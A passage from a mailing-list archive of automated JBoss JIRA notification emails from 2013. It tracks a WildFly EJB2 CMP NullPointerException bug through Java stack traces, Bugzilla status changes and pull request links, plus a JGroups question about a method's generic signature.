> 	at org.jboss.as.messaging.jms.JMSQueueControlHandler$1.removeMessages(JMSQueueControlHandler.java:78)
> 	at org.jboss.as.messaging.AbstractQueueControlHandler.executeRuntimeStep(AbstractQueueControlHandler.java:310)
> ...
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 04:34:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 04:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.7773.1378283643681@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801432#comment-12801432 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

baranowb <bbaranow at redhat.com> changed the Status of [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297] from NEW to ASSIGNED
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 05:29:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Wed, 4 Sep 2013 05:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1687) CastMessageWithFuture in
	MessageDispatcher
In-Reply-To: <JIRA.12499895.1378286922328@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499895.1378286922328@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499895.1378286922328.7854.1378286943470@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1687:
------------------------------

             Summary: CastMessageWithFuture in MessageDispatcher 
                 Key: JGRP-1687
                 URL: https://issues.jboss.org/browse/JGRP-1687
             Project: JGroups
          Issue Type: Feature Request
            Reporter: shen kim
            Assignee: Bela Ban


When I used CastMessageWithFuture in MessageDispatcher. I found the following Method declared :
public <T> NotifyingFuture<RspList<T>> castMessageWithFuture(java.util.Collection<Address> dests, Message  RequestOptions options, FutureListener<T> listener) throws java.lang.Exception

Is it the FutureListener<T> may be declared to  FutureListener<RspList<T>> ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 05:40:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Wed, 4 Sep 2013 05:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1687) CastMessageWithFuture in
	MessageDispatcher
In-Reply-To: <JIRA.12499895.1378286922000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499895.1378286922000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499895.1378286922000.7861.1378287603447@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1687?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

shen kim updated JGRP-1687:
---------------------------

    Issue Type: Bug  (was: Feature Request)

    
> CastMessageWithFuture in MessageDispatcher 
> -------------------------------------------
>
>                 Key: JGRP-1687
>                 URL: https://issues.jboss.org/browse/JGRP-1687
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> When I used CastMessageWithFuture in MessageDispatcher. I found the following Method declared :
> public <T> NotifyingFuture<RspList<T>> castMessageWithFuture(java.util.Collection<Address> dests, Message  RequestOptions options, FutureListener<T> listener) throws java.lang.Exception
> Is it the FutureListener<T> may be declared to  FutureListener<RspList<T>> ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 06:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 06:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.7910.1378289584092@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801453#comment-12801453 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

baranowb <bbaranow at redhat.com> made a comment on [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297]

https://issues.jboss.org/browse/WFLY-49
https://github.com/wildfly/wildfly/pull/4019
https://github.com/jbossas/jboss-eap/pull/355
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 06:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 06:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.7916.1378289584370@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801454#comment-12801454 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

baranowb <bbaranow at redhat.com> changed the Status of [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297] from ASSIGNED to POST
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 06:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 06:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.7922.1378289584630@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801455#comment-12801455 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

